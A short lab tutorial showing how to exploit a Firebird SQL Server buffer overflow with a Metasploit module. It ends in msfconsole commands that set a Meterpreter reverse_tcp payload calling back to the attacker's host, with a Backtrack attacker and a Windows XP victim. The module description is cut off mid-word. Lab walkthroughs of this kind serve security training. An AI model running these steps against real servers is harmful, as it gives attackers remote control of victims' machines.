This module exploits vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phase stack pivot allows executing the ROP chain which ultimately is used to execute Virtual Alloc and bypass DE
Exploit Targets
Windows FB 2.5.2.26539 (default)
Windows FB 2.5.1.26351
Windows FB 2.1.5.18496
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/misc/fb_cnct_group
msf exploit (fb_cnct_group)>set payload windows/meterpreter/reverse_tcp
msf exploit (fb_cnct_group)>set lhost 192.168.0.102 (IP of Local Host)
msf exploit (fb_cnct_group)>set rhost 192.168.0.111 (This must be an address on the Remote machine)
msf exploit (fb_cnct_group)>exploit
